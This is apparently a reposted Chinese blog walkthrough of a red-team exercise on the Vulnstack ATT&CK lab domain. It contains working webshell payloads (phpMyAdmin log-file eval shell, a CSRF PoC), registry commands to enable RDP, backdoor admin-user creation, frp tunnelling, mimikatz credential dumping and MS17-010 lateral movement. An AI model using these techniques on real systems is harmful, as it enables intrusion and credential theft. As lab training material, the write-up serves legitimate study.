Vlunstack ATT&CK实战系列0×1
2020-02-19 14:00:16 Author: www.freebuf.com(查看原文) 阅读量:265 收藏

Over the mountains,mountains.我翻山越岭,才发现无人等候。

这个靶场是红日安全团队的一个靶场项目~ 非常好,方便了我这类懒得搭建域(不会)的人。

如有谬误恳请指出

环境下载

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

网络环境

Windows 7有双网卡,也就是内外网IP
外网IP:192.168.31.129
内网IP:192.168.52.143
且此服务器存在yxcms
Windows 2008只有内网网卡
内网IP: 192.168.52.138
Win2k3只有内网网卡
内网IP:192.168.52.141

很明显,要想访问Windows 2008和Win2k3服务器必须要拿下Windows 7服务器,用它做跳板进内网进行横向渗透。

攻击过程

0×1.获取WEBSHELL

目标URL:http://192.168.31.129/yxcms/

得知是yxcms,直接百度一把搜,找到如下文章

https://bbs.ichunqiu.com/thread-45926-1-1.html

这里都是需要后台才可以getshell的,自己审计不太现实,故打开默认后台试试弱口令

http://192.168.31.129/yxcms/index.php?r=admin/index/login

将登录的数据包放入Repeater重放多次发现验证码没有自动刷新,故可以爆破,然后填了密码字典后放着等他跑,看看其他的点是否有漏洞~

这里爆破出了phpMyAdmin,然后打开试试弱口令root/root直接就进去了

phpMyAdmin GetShell

set global general_log=on; # 开启日志
set global general_log_file='C:/phpstudy/www/fuck.php'; # 设置日志位置为php代码,然后保存的日志内容写上shell就可以了
select '<?php eval($_POST["fuck"]); ?>' # 这段查询会带入到日志中,然后就成功变成WebShell了

然后使用蚁剑连接

然后yxcms后台这边burp也跑出密码来了

账户密码为:admin/123456,进入后台,直接上高速打POC

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.31.129/yxcms/index.php?r=admin/set/tpadd&Mname=default" method="POST">
      <input type="hidden" name="filename" value="fuck" />
      <input type="hidden" name="code" value="&lt;&#63;php&#32;eval&#40;&#36;&#95;POST&#91;&quot;fuck&quot;&#93;&#41;&#59;&#63;&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

打开如上html页面就会在生成一个WebShell在http://192.168.31.129/yxcms/protected/apps/default/view/default/fuck.php页面,密码为fuck

0×2.内网渗透

首先查看是什么权限,是否有域

管理员权限,且有域~

然后一般拿下window的话我都会选择去连接它的远程桌面(PORT:3389)

输入netstat -ano | find “3389″没有回显,证明未开启远程桌面服务,用如下命令开启

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

成功开启。

然后开启了3389后可以选择读管理员的明文密码或添加用户,前者可能因为读不出明文密码(03前的操作系统使用LM HASH加密明文,可逆,越后的系统都使用新的加密NTLM HASH),所以这里选择后者添加密码

C:\phpStudy\WWW> net user test @!FuckSEC!@ /add # 添加账户密码
命令成功完成。
C:\phpStudy\WWW> net localgroup administrators test /add # 给test账户添加为管理员权限
命令成功完成。
C:\phpStudy\WWW> net user test # 查询是否成功添加test用户
用户名                 test
全名                   
注释                   
用户的注释             
国家/地区代码          000 (系统默认值)
帐户启用               Yes
帐户到期               从不
上次设置密码           2020/2/1 10:27:52
密码到期               2020/3/14 10:27:52
密码可更改             2020/2/2 10:27:52
需要密码               Yes
用户可以更改密码       Yes
允许的工作站           All
登录脚本               
用户配置文件           
主目录                 
上次登录               从不
可允许的登录小时数     All
本地组成员             *Administrators       *Users                
全局组成员             *None                 
命令成功完成。

然后使用账号密码test/@!FuckSEC!@登录远程桌面

哦吼!fuck

一开始猜测可能是防火墙禁止3389端口进出网,然后经过端口转发后才发现并不是,如图

防火墙开启了阻止所有与未在允许程序列表中的程序的连接,换句话说,设置了白名单,只能本地连接,那么我们使用ngrok的frp创建一个TCP隧道

1、首先在http://ngrok.cc/user.html注册用户,然后开通FRP服务器

2、下载frp客户端工具

将工具上传至目标服务器,然后执行如下命令

sunny.exe --clientid=隧道id

3、然后连接xxxx.xxxx.xxx:10062

内网已进入,然后我习惯性直接上去关防火墙,然后用cs上线

这个线上的很心塞。。

生成了好多shell然后过了好一会才过来。

0×3.信息收集

1、使用ipconfig /all看网络环境(查询是否有域)

2、net config Workstation查询当前计算机名、计算机全名、用户名、工作站、软件版本、工作站域、工作站域 DNS 名称、登录域

这样也能看

3、查看进程tasklist /v 有些进程可能是域用户启的>通过管理员权限 凭证窃取 > 窃取域用户的凭证

4、显示正由指定的计算机共享的域、计算机或资源的列表。如果在没有参数的情况下使用,则net view显示当前域中的计算机列表。

这里OWA主机是主域控制器,IP为192.168.52.138,然后还有一个主机名为ROOT-TVI862UBEH,IP为192.168.52.141(环境3)

而本机不是域机器所以跑不出域相关信息,着重于横向渗透。

目前知道的数据就行了,然后在本地抓一下管理员密码(Cs跑内存HASH、注册表HASH)

0×4.密码获取

1、直接用cs的hashdump读内存密码。

2、用mimikatz读注册表密码

beacon> logonpasswords
读出的信息...

我们可以直接在Credentials模块下看的清清楚楚

这里直接抓取了Administrator的明文密码hongrisec@2019

0×5.横向渗透

横向渗透一般就是获取内网其他主机的权限

我比较喜欢用msf来进行横向渗透,所以这里要使用到msf,但是Win2k3和Window 2008都是内网主机,我们攻击机的msf无法访问,所以我们要在Window s7上开启一个隧道,将msf带入内网。

开通隧道带msf进内网

1、在cs上开通socks通道

socks 9999

2、在攻击机上设置proxychains

vi /etc/proxychains.conf
socks4        127.0.0.1 9999

小白肯定会问为什么这里设置的代理是127.0.0.1 9999,因为我cs的服务端是kali,然后在cs执行socks 9999相当于在我kali上开通一个9999的socks代理,然后我kali直接连本地的9999端口就可以了

3、使用代理打开msf

proxychains msfconsole

这样msf就成功进内网啦

然后这里尝试去跑一下MS08-067(失败)

插播! 这里用cs的socks代理不稳定,我上传了ew开了1080监听然后也是使用proxychains代理

端口探测

因为目标机安装了nmap所以直接跑了

开启了445端口,然后这里试了下ms08-067,失败告终。

拿下xp

然后尝试了admin/smb/ms17_010_command这个模块发现是可以的

然后直接执行添加用户命令

net user test @!FuckSEC!@ /add
net localgroup administrators test /add

查看是否添加成功

然后开启他的3389

2003上开启3389的命令行语句
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

然后使用proxychains连接他的3389

proxychains rdesktop 192.168.52.141

然后这里我想让2003系统上上线Cs,操作过程看我这篇文章

https://fuckgo.github.io/2020/02/03/%E7%9B%AE%E6%A0%87%E6%9C%BA%E5%99%A8%E4%B8%8D%E5%87%BA%E7%BD%91%E4%B8%8A%E7%BA%BF%E5%8A%9E%E6%B3%95/

对xp的信息收集

常规的信息收集

ipconfig /all
查看网络环境

有Primary Dns Suffix 说明是域内 为域机器

然后查看当前登录域

net config workstation

然后依次类推查询,发现192.168.52.138是主域机器

干他!

对域机器进行渗透

端口探测

PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49161/tcp open  unknown
49167/tcp open  unknown

使用445添加用户

445开放,使用admin/smb/ms17_010_command成功,只能一条一条命令执行…

然后执行添加用户的语句

用户还是test密码还是@!FuckSEC!@

使用ipc上传上线马

这里使用ipc连接上传上线马,然后用计划任务执行该文件

上线马依旧看这篇文章:https://fuckgo.github.io/2020/02/03/%E7%9B%AE%E6%A0%87%E6%9C%BA%E5%99%A8%E4%B8%8D%E5%87%BA%E7%BD%91%E4%B8%8A%E7%BA%BF%E5%8A%9E%E6%B3%95/

上线成功

然后使用mimikatz跑一下密码

直接就把域管账号密码跑下来了~

致此先这里完结一段落,后续学历了痕迹清理隐藏攻击手段等技术后再续

祝我在内网之旅中开心成长~

*本文原创作者:Hackhy,本文属于FreeBuf原创奖励计划,未经许可禁止转载


文章来源: https://www.freebuf.com/articles/web/226497.html
如有侵权请联系:admin#unsafe.sh